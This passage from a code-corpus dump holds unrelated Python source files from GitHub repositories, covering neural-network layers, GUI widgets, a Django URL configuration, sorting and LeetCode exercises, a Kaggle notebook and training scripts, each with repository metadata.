[]\n\n","repo_name":"sun-exploit/poli_utils","sub_path":"pcsd_cfengine.py","file_name":"pcsd_cfengine.py","file_ext":"py","file_size_in_byte":30506,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"2356971289","text":"import torch\nimport torch.nn as nn\nimport math\n\n\n# %%\nclass SelfAttention(nn.Module):\n    def __init__(self,\n                 hidden_size,\n                 num_attention_heads=12,  # 多头注意力，头的数目\n                 output_attentions=False,  # 是否输出 attention 值\n                 attention_probs_dropout_prob=0,  # dropout 比例\n                 ):\n        super(SelfAttention, self).__init__()\n        self.output_attentions = output_attentions\n        self.hidden_size = hidden_size\n        self.num_attention_heads = num_attention_heads\n        self.attention_probs_dropout_prob = attention_probs_dropout_prob\n        self.attention_head_size = int(self.hidden_size / self.num_attention_heads)\n        self.all_head_size = self.num_attention_heads * self.attention_head_size\n\n        self.query = nn.Linear(self.hidden_size, self.all_head_size)\n        self.key = nn.Linear(self.hidden_size, self.all_head_size)\n        self.value = nn.Linear(self.hidden_size, self.all_head_size)\n\n        self.dropout = nn.Dropout(self.attention_probs_dropout_prob)\n\n    def transpose_for_scores(self, x):\n        new_x_shape = x.size()[:-1] + (self.num_attention_heads, self.attention_head_size)\n        x = x.view(*new_x_shape)\n        return x.permute(0, 2, 1, 3)\n\n    def forward(self, hidden_states, attention_mask=None, head_mask=None, encoder_hidden_states=None,\n                encoder_attention_mask=None):\n        \"\"\"\n        hidden_states: [batch_size, seq_len, feature_size]\n        \"\"\"\n        mixed_query_layer = self.query(hidden_states)\n\n        # If this is instantiated as a cross-attention module, the keys\n        # and values come from an encoder; the attention mask needs to be\n        # such that the encoder's padding tokens are not attended to.\n        if encoder_hidden_states is not None:\n            mixed_key_layer = self.key(encoder_hidden_states)\n            mixed_value_layer = self.value(encoder_hidden_states)\n            attention_mask = encoder_attention_mask\n        else:\n            mixed_key_layer = self.key(hidden_states)\n            mixed_value_layer = self.value(hidden_states)\n\n        query_layer = self.transpose_for_scores(mixed_query_layer)\n        key_layer = self.transpose_for_scores(mixed_key_layer)\n        value_layer = self.transpose_for_scores(mixed_value_layer)\n\n        # Take the dot product between \"query\" and \"key\" to get the raw attention scores.\n        attention_scores = torch.matmul(query_layer, key_layer.transpose(-1, -2))\n        attention_scores = attention_scores / math.sqrt(self.attention_head_size)\n        if attention_mask is not None:\n            # Apply the attention mask is (precomputed for all layers in BertModel forward() function)\n            attention_scores = attention_scores + attention_mask\n\n        # Normalize the attention scores to probabilities.\n        attention_probs = nn.Softmax(dim=-1)(attention_scores)\n\n        # This is actually dropping out entire tokens to attend to, which might\n        # seem a bit unusual, but is taken from the original Transformer paper.\n        attention_probs = self.dropout(attention_probs)\n\n        # Mask heads if we want to\n        if head_mask is not None:\n            attention_probs = attention_probs * head_mask\n\n        context_layer = torch.matmul(attention_probs, value_layer)\n\n        context_layer = context_layer.permute(0, 2, 1, 3).contiguous()\n        new_context_layer_shape = context_layer.size()[:-2] + (self.all_head_size,)\n        context_layer = context_layer.view(*new_context_layer_shape)\n\n        outputs = (context_layer, attention_probs) if self.output_attentions else (context_layer,)\n        return outputs\n","repo_name":"ECNU-ICA/ECNU-SenseMaker","sub_path":"utils/attentionUtils.py","file_name":"attentionUtils.py","file_ext":"py","file_size_in_byte":3678,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"57"}
+{"seq_id":"5351043508","text":"from kivy.uix.screenmanager import Screen\nfrom kivy.clock import Clock\nfrom Utils import LegoUtil\nfrom Utils.Database import Database\nfrom Utils.Constants import Constants\n\n\nclass LoadingScreen(Screen):\n    pass\n\n    def __init__(self, **kwargs):\n        super(LoadingScreen, self).__init__(**kwargs)\n        self.i = None\n        self.cat_arr = []\n        self.categories = None\n        self.get_category_trigger = None\n\n    def on_enter(self):\n        self.get_category_trigger = Clock.create_trigger(self.get_category)\n        self.categories = LegoUtil.get_part_categories()\n        self.i = 0\n        self.get_category_trigger()\n\n    def get_category(self, dt):\n        if self.i < len(self.categories):\n            if self.categories[self.i]['name'] != 'Non-LEGO':\n                self.ids.progress.value = self.i\n                category = {\n                    'Id': self.categories[self.i]['id'],\n                    'Name': self.categories[self.i]['name'],\n                    'Parts': LegoUtil.get_parts(self.categories[self.i]['id'])\n                }\n                self.cat_arr.append(category)\n            self.i += 1\n            self.get_category_trigger()\n        else:\n            Database.create_database(self.cat_arr)\n            self.manager.current = Constants.SCREEN_BASIC\n","repo_name":"Krososs/configEditor","sub_path":"Screens/LoadingScreen.py","file_name":"LoadingScreen.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"72785218097","text":"from PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\n\nfrom utils import pt_to_pixel\n\n\nclass Padding(QLabel):\n    def __init__(self, height, config):\n        super().__init__()\n        self.setFixedHeight(height)\n\n        self.setFont(config['FONT'])\n        self.setWordWrap(True)\n        self.setAlignment(Qt.AlignCenter)\n\n\nclass Title(QLabel):\n    def __init__(self, text, config):\n        super().__init__()\n\n        self.setText(text)\n        self.setFont(config['FONT_TITLE'])\n        self.setFixedHeight(170)\n        color_str = 'rgb' + str(tuple(config['TITLE_COLOR']))\n        self.setStyleSheet('margin-top: 100px; margin-bottom: 10px; color:' + color_str)\n        self.setAlignment(Qt.AlignCenter)\n        self.setFixedWidth(int(config['WIDTH_PERCENTAGE'] * config['SCREEN_WIDTH']))\n\n\nclass Text(QLabel):\n    def __init__(self, text, config):\n        super().__init__()\n\n        self.setText(text)\n\n        self.setFont(config['FONT'])\n        self.setWordWrap(True)\n\n        n_lines = text.count('<br>') + text.count('<ol>') + text.count('<ul>') + text.count('<li>') + 1\n        self.setFixedHeight(int(50 * n_lines + pt_to_pixel(config['LINE_HEIGHT']) / 100 * (n_lines - 1)))\n\n        self.setFixedWidth(int(config['WIDTH_PERCENTAGE'] * config['SCREEN_WIDTH']))\n        self.setAlignment(Qt.AlignCenter)\n        color_str = 'rgb' + str(tuple(config['TEXT_COLOR']))\n        self.setStyleSheet('color:' + color_str)\n        self.setTextFormat(Qt.RichText)\n        self.setTextInteractionFlags(Qt.TextBrowserInteraction)\n        self.setOpenExternalLinks(True)\n\n\nclass Button(QPushButton):\n    def __init__(self, text, color, config):\n        super().__init__()\n        self.setText(text),\n        self.setFont(config['FONT'])\n\n        color_str = 'color:rgb(' + str(color[0]) + ',' + str(color[1]) + ',' + str(color[2]) + ')'\n        self.setStyleSheet(color_str)\n\n        self.setFixedWidth(int(config['WIDTH_PERCENTAGE'] * config['SCREEN_WIDTH']))\n\n        self.setFixedWidth(500)\n\n        self.setFixedHeight(30)\n","repo_name":"JoachimHugonot/memoire","sub_path":"gui_elements.py","file_name":"gui_elements.py","file_ext":"py","file_size_in_byte":2056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"75012404336","text":"from typing import List\n\nclass Solution:\n    def decrypt(self, code: List[int], k: int) -> List[int]:\n        decrypted = [0] * len(code)\n        if k < 0: code.reverse()\n\n        for i in range(len(code)):\n            for n in range(abs(k)):\n                j = (i + n + 1) % len(code)\n                decrypted[i] += code[j]\n\n        if k < 0: decrypted.reverse()\n\n        return decrypted\n\ns = Solution()\nassert(s.decrypt([5, 7, 1, 4], 3) == [12, 10, 16, 13])\nassert(s.decrypt([1, 2, 3, 4], 0) == [0, 0, 0, 0])\nassert(s.decrypt([2, 4, 9, 3], -2) == [12, 5, 6, 13])\n","repo_name":"koooge/leetcode","sub_path":"1652/1652.py","file_name":"1652.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"71327623857","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n\n# For example, here's several helpful packages to load in \n\n\n\nimport numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\nimport matplotlib.pyplot as plt\n\n\n\n# Input data files are available in the \"../input/\" directory.\n\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\n\n\n\nfrom subprocess import check_output\n\nprint(check_output([\"ls\", \"../input\"]).decode(\"utf8\"))\n\n\n\n# Any results you write to the current directory are saved as output.\nimport matplotlib.pyplot as plt\n\nimport seaborn as sns\n\nimport timeit\n\nimport math\n\n\n\n# vectorized error calc\n\ndef rmsle(y, y0):\n\n    assert len(y) == len(y0)\n\n    return np.sqrt(np.mean(np.power(np.log1p(y)-np.log1p(y0), 2)))\ntrain_df = pd.read_csv(\"../input/train.csv\")\n\ntrain_df = train_df.sort_values(by='timestamp')\n\n\n\n# split train / test\n\ntrain = train_df[train_df['timestamp']< \"2014-08-01\"]\n\ntest  = train_df[train_df['timestamp']>= \"2014-08-01\"]\nprint(train.shape)\n\nprint(test.shape)\nplt.scatter(train['id'], train['price_doc'], alpha=0.5, cmap='viridis')\n\nplt.show()\ntrain.head(1)\n# moving average\n\n# first let's average per day\n\n#train['day'] = train['timestamp'].dt.day\n\n\n\n#train['timestamp'].values\n\npd.to_datetime(train['timestamp'])\n\n\n\n#train['moving_average'] = train['price_doc'].rolling(1000).mean()\n\n#plt.scatter(train['id'], train['moving_average'])\n\n#plt.show()\ntrain.price_doc.mean()\nrmsle(np.repeat(6823634.024752475,9261), test['price_doc'].values)\ntrain.price_doc.median()\nrmsle(np.repeat(6000000,9261), test['price_doc'].values)\n#list(train.columns.values)\ngb = train.groupby(['area_m'])\n\n\n\ndfagg = pd.DataFrame()\n\n\n\n# bayesian average\n\ndfagg['avg_price_per_sqm'] = (5 * 6000000 + gb.price_doc.sum()) / (5 * 40 + gb.full_sq.sum())\n\n\n\ndfagg['observations_count'] = gb.price_doc.count()\n\ndfagg.reset_index(inplace=True)\n\ndfagg.head()\ntest_merged = pd.merge(test, dfagg, how='left', on=['area_m'])\n\ntest_merged['avg_price_per_sqm'] = test_merged.avg_price_per_sqm.replace(np.NaN, 6823634.024752475)\n\ntest_merged['est_price'] = test_merged['avg_price_per_sqm'] * test_merged['full_sq']\n\ntest_merged.head()\nrmsle(test_merged['est_price'].values, test_merged['price_doc'].values)\ngb = train.groupby(['area_m', 'sub_area'])\n\n\n\ndfagg = pd.DataFrame()\n\ndfagg['avg_price_per_sqm'] = gb.price_doc.sum() / gb.full_sq.sum()\n\ndfagg.reset_index(inplace=True)\n\n\n\ntest_merged = pd.merge(test, dfagg, how='left', on=['area_m', 'sub_area'])\n\ntest_merged['avg_price_per_sqm'] = test_merged.avg_price_per_sqm.replace(np.NaN, 6623634)\n\ntest_merged['est_price'] = test_merged['avg_price_per_sqm'] * test_merged['full_sq']\n\n\n\nrmsle(test_merged['est_price'].values, test_merged['price_doc'].values)","repo_name":"aorursy/new-nb-8","sub_path":"timhenry_notebook2700031266.py","file_name":"timhenry_notebook2700031266.py","file_ext":"py","file_size_in_byte":2926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"39128768257","text":"import rechenrätsel_multiprocessing\n\nimport time\n\ntest_cases = list(range(16))\n\ndef test():\n    times = []\n\n    for test_case in test_cases:\n        start_time = time.time()\n        try:\n            result, exercise = rechenrätsel_multiprocessing.get_therm(test_case)\n        except Exception as e:\n            print(e)\n            result, exercise = \"FAIL\", \"FAIL\"\n        end_time = time.time()\n\n        therm, res = result.split(\" = \")\n        if int(eval(therm)) != int(res):\n            print(f\"failed {result} {exercise}\")\n\n        with open(\"examples.txt\", \"a\", encoding=\"utf-8\") as examples_file:\n            examples_file.write(f\"{test_case}: {exercise} | {result}; {end_time-start_time}\\n\")\n\n        times.append(str(end_time-start_time))\n        print(f\"test case {test_case} completed in {end_time-start_time}\")\n\n    with open(\"times.csv\", \"a\") as times_file:\n        times_file.write(\", \".join(times) + \"\\n\")\n\n\nif __name__ == '__main__':\n    while True:\n        test()\n","repo_name":"HeIIow2/BwInf-40","sub_path":"round2/abgabe/Rechenraetsel/programm/other/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"27395063642","text":"import urllib.request\nimport json\n\npayload = {'key1':'value1', 'key2':'value2'}\n\n# GET\n# url = 'http://httpbin.org/get' + '?' + urllib.parse.urlencode(payload) #dictをurlパラメタの形式に変更\n# with urllib.request.urlopen(url) as f:\n#     print(f.read().decode('utf-8'))\n\n# POST\npayload = json.dumps(payload).encode('utf-8')\nreq = urllib.request.Request(\n    'http://httpbin.org/post',data=payload, method='POST'\n)\nwith urllib.request.urlopen(req) as f:\n    print(f.read().decode('utf-8'))","repo_name":"yoshiaki-ki/python-basic-lesson","sub_path":"network/url_request.py","file_name":"url_request.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"21928695747","text":"import argparse\nimport logging\nfrom pathlib import Path\nfrom typing import List\n\n\nclass SignArgs:\n    ACCEPTED_SIGNATURE_FILE_TYPES = [\".sig\", \".asc\"]\n    ACCEPTED_PLATFORM = [\"linux\", \"windows\", \"mac\", \"jar_signer\"]\n\n    target: Path\n    components: List[str]\n    type: str\n    sigtype: str\n    platform: str\n    overwrite: bool\n\n    def __init__(self) -> None:\n        parser = argparse.ArgumentParser(description=\"Sign artifacts\")\n        parser.add_argument(\n            \"target\",\n            type=Path,\n            help=\"Path to local manifest file or artifact directory\"\n        )\n        parser.add_argument(\n            \"-c\",\n            \"--component\",\n            type=str,\n            nargs='*',\n            dest=\"components\",\n            help=\"Component or components to sign\"\n        )\n        parser.add_argument(\n            \"--type\",\n            help=\"Artifact type\"\n        )\n        parser.add_argument(\n            \"--sigtype\",\n            choices=self.ACCEPTED_SIGNATURE_FILE_TYPES,\n            help=\"Type of signature file.\",\n            default=\".sig\"\n        )\n        parser.add_argument(\n            \"--platform\",\n            choices=self.ACCEPTED_PLATFORM,\n            help=\"Distribution platform.\",\n            default=\"linux\"\n        )\n        parser.add_argument(\n            \"--overwrite\",\n            action=\"store_true\",\n            help=\"Overwrite existing artifacts or signature files.\",\n            default=False,\n            dest=\"overwrite\"\n        )\n        parser.add_argument(\n            \"-v\",\n            \"--verbose\",\n            help=\"Show more verbose output.\",\n            action=\"store_const\",\n            default=logging.INFO,\n            const=logging.DEBUG,\n            dest=\"logging_level\",\n        )\n\n        args = parser.parse_args()\n        self.logging_level = args.logging_level\n        self.target = args.target\n        self.type = args.type\n        self.sigtype = args.sigtype\n        self.components = args.components\n        self.platform = args.platform\n        self.overwrite = args.overwrite\n","repo_name":"opensearch-project/opensearch-build","sub_path":"src/sign_workflow/sign_args.py","file_name":"sign_args.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","stars":121,"dataset":"github-code","pt":"57"}
+{"seq_id":"2254907372","text":"# def insertion_sort(ls):\r\n#     # insertion list have maximum length: len(ls) - 2\r\n#     for i in range(0, len(ls)-1):\r\n#         for j in range(0, i+1):\r\n#             # Compare the value right outside the insertion list\r\n#             if ls[i+1] < ls[j]:\r\n#                 # the insertion list is ordered, if the value is lower\r\n#                 # then insert the value to the insertion list and remove the original value\r\n#                 ls.insert(j, ls[i+1])\r\n#                 ls.pop(i+2)\r\n#     return ls\r\n\r\ndef insertion_sort(ls):\r\n    # new numbers outside the sorted list\r\n    for i in range(1, len(ls)):\r\n        temp = ls[i]\r\n        j = i - 1\r\n        while ls[j] > temp and j >= 0:\r\n            ls[j+1] = ls[j]\r\n            j -= 1\r\n        ls[j+1] = temp\r\n    return ls\r\n\r\n\r\nprint(insertion_sort([3, 1, 8, 24, 7, 2, 16, 4]))\r\n\r\n# worst case time complexity O(n^2), best case (almost sorted) O(n)","repo_name":"AlbertYu97/Data-Structures-and-Algorithms","sub_path":"Algorithm - Sorting/insertion_sort.py","file_name":"insertion_sort.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"26399588859","text":"#!/usr/bin/env python\nfrom keras.models import model_from_json\nimport glob\nimport os\n\nfrom data4 import (\n    load_dataset,\n    convert_to_k_snippet,\n)\nfrom plan6 import (\n    CHAR_MAX_LEN,\n    AttentionWithContext,\n)\n\nif __name__ == '__main__':\n    (\n        X_train,\n        y_train,\n        X_test,\n        y_test\n    ) = load_dataset(max_len=CHAR_MAX_LEN, k=1, test_mode=True)\n\n    # X_test, y_test = convert_to_k_snippet(X_test, y_test)\n    for f in glob.glob('./model_json/*'):\n        model = None\n\n        with open(f) as config:\n            model = model_from_json(config.read(), {\n                'AttentionWithContext': AttentionWithContext,\n            })\n\n        model.summary()\n\n        base = os.path.basename(f)\n        prefix = base[len('model_'):-len('.json')]\n        candidates = glob.glob('./checkpoints/%s*' % prefix)\n        print('Candidates:: ', prefix, candidates)\n        assert len(candidates) == 1, 'Too many weight for %s' % base\n\n        model.load_weights(candidates[0])\n        model.compile(loss='categorical_crossentropy',\n                      optimizer='RMSprop', metrics=['accuracy'])\n\n        print('Variant::', f)\n\n        # estimate accuracy on whole dataset using loaded weights\n        scores = model.evaluate(X_train, y_train, verbose=0)\n        print('Scores::', scores)\n        print(\"%s: %.3f%%\" % (model.metrics_names[1], scores[1] * 100))\n","repo_name":"moomou/mlab","sub_path":"plang_models/validator.py","file_name":"validator.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"16484466749","text":"import sys\nimport math\nimport tensorflow as tf\n\nfrom network.FTCF_Net import FTCF_Net\nfrom experiments_net import C3D, Conv_LSTM, DenseNet_3D, InceptionNet_3D, Inflated_3D, ResNet_3D\nfrom utils.dataset_transformer import LoadDataset\nfrom utils.running_gpu import running_gpu\n\nrunning_gpu()\n\n\ndef view_bar(message, num, total):\n    rate = num / total\n    rate_num = int(rate * 40)\n    rate_nums = math.ceil(rate * 100)\n    r = '\\r%s:[%s%s]%d%%\\t%d/%d' % (message, \">\" * rate_num, \" \" * (40 - rate_num), rate_nums, num, total,)\n    sys.stdout.write(r)\n    sys.stdout.flush()\n\n\ndef build_model(model_name):\n    def default():\n        print (\"No such Model!, Please choose model from C3D, Conv_LSTM, DenseNet_3D, InceptionNet_3D, Inflated_3D, \\\n        ResNet_3D, FTCF_Net\")\n    switch = {\n        'C3D': C3D.C3D_Model(),\n        'Conv_LSTM': Conv_LSTM.Conv_LSTM_Model(),\n        'DenseNet_3D': DenseNet_3D.DenseNet_3D_Model(),\n        'InceptionNet_3D': InceptionNet_3D.InceptionNet_3D_Model(),\n        'Inflated_3D': Inflated_3D.Inflated_3D_Model(),\n        'ResNet_3D': ResNet_3D.ResNet_3D_Model(),\n        'FTCF_Net': FTCF_Net()\n    }\n    return switch.get(model_name, default)\n\n\ndef training(epochs=50, batch_size=32, model_name='FTCF_Net', dataset='rlvs-std', lr=1e-3, mom=0.9):\n    if dataset == 'rlvs-std':\n        train_length = 1600\n        test_length = 400\n    elif dataset == 'hockey-std':\n        train_length = 800\n        test_length = 200\n    elif dataset == 'peliculas-std':\n        train_length = 161\n        test_length = 40\n    elif dataset == 'violentflow-std':\n        train_length = 196\n        test_length = 50\n\n    model = build_model(model_name)\n\n    loss_obj = tf.keras.losses.SparseCategoricalCrossentropy()\n    optimizer = tf.keras.optimizers.SGD(learning_rate=lr, momentum=mom, decay=1e-5)\n\n    train_acc = tf.keras.metrics.SparseCategoricalAccuracy(name='train_acc')\n    test_acc = tf.keras.metrics.SparseCategoricalAccuracy(name='test_acc')\n    train_loss = tf.keras.metrics.Mean(name='train_loss')\n    test_loss = tf.keras.metrics.Mean(name='test_loss')\n\n    train_dataset, test_dataset = LoadDataset(batch_size=batch_size, dataset=dataset).transformer()\n\n    @tf.function\n    def train_step(images, labels):\n        with tf.GradientTape() as tape:\n            logits = model(images, training=True)\n            loss = loss_obj(labels, logits)\n        grads = tape.gradient(loss, model.trainable_variables)\n        optimizer.apply_gradients(zip(grads, model.trainable_variables))\n\n        train_acc(labels, logits)\n        train_loss(loss)\n\n    @tf.function\n    def test_step(images, labels):\n        logits = model(images, training=False)\n        test_acc(labels, logits)\n        test_loss(loss_obj(labels, logits))\n\n    for epoch in range(epochs):\n        train_acc.reset_states()\n        train_loss.reset_states()\n        test_acc.reset_states()\n        index = 0\n        for images, labels in train_dataset:\n\n            train_step(images, labels)\n            index += len(labels)\n            view_bar(\"training \", index, train_length)\n\n        print(\"\")\n        index = 0\n        for images, labels in test_dataset:\n            test_step(images, labels)\n            index += len(labels)\n            view_bar(\"testing\", index, test_length)\n\n        print(\"\")\n        tmp = 'Epoch {}, Acc {}, Train loss {},Test Acc {}, Test loss {}'\n        print(tmp.format(epoch + 1,\n                         train_acc.result() * 100,\n                         train_loss.result(),\n                         test_acc.result() * 100,\n                         test_loss.result()))\n\n\nif __name__ == '__main__':\n    training(epochs=100, batch_size=16, model_name='FTCF_Net', dataset='rlvs-std')\n","repo_name":"TAN-OpenLab/FTCF-NET","sub_path":"training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":3707,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"57"}
+{"seq_id":"24042513886","text":"import json\nimport logging\nfrom logging import info\n\ndef timestamp_file(file_loc: str) -> str:\n    \"\"\"Adds a date timestamp to the filename.\n    :param file_loc: location of file to write to\n    :type file_loc: str, bool\n    :return: the file location with the timestamp appended to the end of the file\n    :rtype: str\n    \"\"\"\n    now = datetime.now()\n    date_time = now.strftime(\"_%Y-%m-%d-%H-%M-%S\")\n    file, extension = os.path.splitext(file_loc)\n\n    return file + date_time + extension\n\n\ndef json_to_file(file_loc=False, json_data=None, create_indexes=False, with_timestamp=True):\n    \"\"\"Create JSON file object.\n    :param file_loc: location of file to write to\n    :type file_loc: str, bool\n    :param json_data: data to write\n    :type json_data: dict, list\n    :param create_indexes: whether to create indexes in the values\n    :type create_indexes: bool\n    :param with_timestamp: whether to timestamp the file\n    :type with_timestamp: bool\n    \"\"\"\n    if create_indexes:\n        for idx, element in enumerate(json_data):\n            element['id'] = element.get('id', idx)\n\n    if file_loc:\n        if with_timestamp:\n            file_loc = timestamp_file(file_loc)\n\n        with open(file_loc, \"w\") as outf:\n            json.dump(json_data, outf, allow_nan=False, default=str, indent=2)\n        info(\"Saved output in file: '{0}'.\".format(os.path.join(os.path.abspath(os.getcwd()), file_loc)))\n","repo_name":"LouisdeBruijn/Medium","sub_path":"json/serialize_file.py","file_name":"serialize_file.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"57"}
+{"seq_id":"30443013942","text":"from django.contrib import admin\r\nfrom django.urls import path\r\nfrom appcoder.views import *\r\nfrom django.contrib.auth.views import LogoutView\r\nfrom django.conf import settings\r\nfrom django.conf.urls.static import static\r\n\r\n\r\nurlpatterns = [\r\n\r\n    path('appcoder/admin/', admin.site.urls),\r\n    path('', index, name='inicio'),\r\n    path('appcoder/inicio/', index, name='inicio'),\r\n\r\n    path('appcoder/login/', Iniciar_Sesion, name='auth_login'),\r\n    path('appcoder/register/', Registrar_Usuario, name='registrar_usuario'),\r\n    path('appcoder/logout/', LogoutView.as_view(template_name='appcoder/logout.html'), name='auth_logout'),\r\n\r\n    path('appcoder/editar_perfil/', Editar_Perfil, name='auth-perfil-editar'),\r\n    path('appcoder/agregar_avatar/', Agregar_Avatar, name='auth-avatar'),\r\n    \r\n    path('appcoder/cursos/', Cursos, name='cursos'),\r\n    path('appcoder/cursos_vista/', Vista_Cursos, name='cursos_vista'),\r\n    path('appcoder/cursos/crear/', Creacion_Curso, name='curso_formulario'),\r\n    path('appcoder/cursos/buscar/', Resultado_Buscar_Curso, name='curso_buscar'),\r\n    path('appcoder/cursos/borrar/<id>/', Borrar_Curso, name='curso_borrar'),\r\n    path('appcoder/cursos/editar/<id>/', Editar_Curso, name='curso_editar'),\r\n\r\n    path('appcoder/estudiantes/', Estudiantes, name='estudiantes'),\r\n    path('appcoder/estudiantes_vista/', Vista_Estudiantes, name='estudiantes_vista'),\r\n    path('appcoder/estudiantes/crear/', Creacion_Estudiantes, name='estudiantes_formulario'),\r\n    path('appcoder/estudiantes/buscar/', Resultado_Buscar_Estudiante, name='estudiante_buscar'),\r\n    path('appcoder/estudiantes/borrar/<id>/', Borrar_Estudiante, name='estudiantes_borrar'),\r\n    path('appcoder/estudiantes/editar/<id>/', Editar_Estudiante, name='estudiantes_editar'),\r\n\r\n    path('appcoder/profesores/', Profesores, name='profesores'),\r\n    path('appcoder/profesores_vista/', Vista_Profesores, name='profesores_vista'),\r\n    path('appcoder/profesores/crear/', Creacion_Profesores, name='profesores_formulario'),\r\n    path('appcoder/profesores/buscar/', Resultado_Buscar_Profesor, name='profesor_buscar'),\r\n    path('appcoder/profesores/borrar/<id>/', Borrar_Profesor, name='profesores_borrar'),\r\n    path('appcoder/profesores/editar/<id>/', Editar_Profesor, name='profesores_editar'),\r\n\r\n    path('appcoder/entregables/', EntregablesList.as_view(), name='entregables'),\r\n    path('appcoder/entregables/detalle/<pk>/', EntregableDetail.as_view(), name='entregables_detail'),\r\n    path('appcoder/entregables/crear/', EntregableCreate.as_view(), name='entregables_create'),\r\n    path('appcoder/entregables/actualizar/<pk>/', EntregableUpdate.as_view(), name='entregables_update'),\r\n    path('appcoder/entregables/borrar/<pk>/', EntregableDelete.as_view(), name='entregables_delete'),\r\n    ]\r\n\r\nurlpatterns+=static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","repo_name":"Fdnico/appcoder","sub_path":"appcoder/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"6256236641","text":"import numpy as np\nimport theano\nimport theano.tensor as tt\nimport lasagne.layers as ll\n\nfrom .gfilt import gaussian_filter\n\n\nclass GaussianFilterLayer(ll.MergeLayer):\n    def __init__(self, values, ref_img, kern_std, norm_type=\"sym\",\n                 name=None, trainable_kernels=False, _bilateral=False):\n\n        assert(norm_type in [\"sym\", \"pre\", \"post\", None])\n        super(GaussianFilterLayer, self).__init__(incomings=[values, ref_img],\n                                                  name=name)\n\n        self.val_dim = ll.get_output_shape(values)[1]\n        self.ref_dim = ll.get_output_shape(ref_img)[1]\n\n        if None in (self.val_dim, self.ref_dim):\n            raise ValueError(\"Gaussian filtering requires known channel \\\ndimensions for all inputs.\")\n\n        self.norm_type = norm_type\n\n        if _bilateral:\n            self.ref_dim += 2\n\n        if len(kern_std) != self.ref_dim:\n            raise ValueError(\"Number of kernel weights must match reference \\\ndimensionality. Got %d weights for %d reference dims.\" % (len(kern_std),\n                                                          self.ref_dim))\n\n        self.kern_std = self.add_param(kern_std, (self.ref_dim,),\n                                       name=\"kern_std\",\n                                       trainable=trainable_kernels,\n                                       regularizable=False)\n\n    def get_output_shape_for(self, input_shapes):\n        return input_shapes[0]\n\n    def get_output_for(self, inputs, **kwargs):\n        vals, ref = inputs\n\n        def filt(V, R):\n            if self.norm_type is not None:\n                o = tt.ones((1, V.shape[1], V.shape[2]), np.float32)\n                norm = gaussian_filter(R, o, self.kern_std, self.ref_dim)\n                norm = tt.sqrt(norm) if self.norm_type == \"sym\" else norm\n                norm += 1e-8\n\n            V = V / norm if self.norm_type in [\"pre\", \"sym\"] else V\n            F = gaussian_filter(R, V, self.kern_std)\n            return F / norm if self.norm_type in [\"post\", \"sym\"] else F\n\n        filtered = theano.scan(fn=filt, sequences=[vals, ref],\n                               outputs_info=None)[0]\n        return filtered\n\n\nclass BilateralFilterLayer(GaussianFilterLayer):\n    def __init__(self, values, ref_img, sxy=60, sc=10, norm_type=\"sym\",\n                 name=None):\n\n        C = ll.get_output_shape(ref_img)[1]\n        if C not in [1, 3]:\n            raise ValueError(\"Bilateral filtering requires a color or \\\ngreyscale reference image. Got %d channels.\" % C)\n\n        if C == 1:\n            kern_std = np.array([sxy, sxy, sc], np.float32)\n        else:\n            kern_std = np.array([sxy, sxy, sc, sc, sc], np.float32)\n\n        super(BilateralFilterLayer, self).__init__(values, ref_img, kern_std,\n                                                   norm_type, name=name,\n                                                   _bilateral=True)\n\n    def get_output_for(self, inputs, **kwargs):\n        vals, ref = inputs\n        N, _, H, W = ref.shape\n        yx = tt.stack(tt.mgrid[0:H, 0:W])[np.newaxis, :, :, :]\n        grid = tt.alloc(tt.cast(yx, \"float32\"), N, 2, H, W)\n        stacked = tt.concatenate([grid, ref], axis=1)\n\n        return super(BilateralFilterLayer, self).get_output_for(\n                [vals, stacked], **kwargs)\n\n\ndef softmax(x, axis=1):\n    e_x = tt.exp(x - x.max(axis=axis, keepdims=True))\n    return e_x / e_x.sum(axis=axis, keepdims=True)\n\n\ndef gkern(std, chans):\n    sig_sq = std**2\n    r = sig_sq if (sig_sq % 2) else sig_sq-1\n    s = 2*r + 1\n    k = np.exp(-((np.mgrid[:s, :s]-r)**2).sum(0) / (2*sig_sq))\n    W = np.zeros((chans, chans, s, s), np.float32)\n    W[np.arange(chans), np.arange(chans)] = k / k.sum()\n    return W\n\n\nclass CRFasRNNLayer(ll.MergeLayer):\n    \"\"\"\n    Layer implementing CRF inference as an unrolled RNN.\n\n    The CRF inference process can be used to refine noisy per-pixel\n    category predictions to be consistent with the image from which they\n    came.\n\n    Parameters\n    ----------\n\n    unary : a :class:`Layer` instance\n        A layer providing values for the 